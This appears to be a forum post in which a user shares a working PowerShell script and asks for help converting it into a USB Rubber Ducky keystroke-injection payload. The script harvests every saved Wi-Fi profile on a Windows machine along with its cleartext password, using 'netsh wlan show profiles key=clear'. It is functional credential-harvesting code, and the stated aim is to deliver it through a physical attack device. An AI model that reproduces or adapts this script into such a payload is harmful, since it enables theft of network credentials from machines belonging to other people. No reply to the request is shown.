Jump to content

Create a Rubber Ducky Code


manni

Recommended Posts

Hi

I have a Powershell Code

$error.Clear()
        
$Output = netsh wlan show profiles
 
$WLANCreds = $Output | 
    Select-String -Pattern "Profil f.r alle Benutzer :", "All User Profile" |
        ForEach-Object {
                    
            $out = ($_ -split ":")[-1].Trim() -replace '"'
            $profile = netsh wlan show profiles name=$out key=clear
            $pw = $profile | select-string -Pattern "Authentifizierung","Authentication"
 
            if ($pw) {
                $pw2 = ($pw -split ":")[-1].Trim() -replace '"'
                if ($pw2 -eq "Open") {
                    Write-Output "$out, <open>"
                } else {
                    $key = $profile | select-string -Pattern "Schl.sselinhalt" ,"Key Content"
                    if ($key) {
                        $key = ($key -split ":")[-1].Trim() -replace '"'
                    }
 
                    $row = New-Object -TypeName psobject
                    $row | Add-Member -MemberType NoteProperty -Name SSID -Value $out
                    $row | Add-Member -MemberType NoteProperty -Name Auth -Value $pw2
                    $row | Add-Member -MemberType NoteProperty -Name Pass -Value $key
                    $row
                }
            }
        } | Sort-Object -Property SSID
            
if ($error) { foreach ($err in $error) {Write-host "   ERROR: $($err.Exception.Message)"} }
$WLANCreds | Format-Table -AutoSize | Out-String

Can help me for create a Rubber Ducky code?

thanks

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...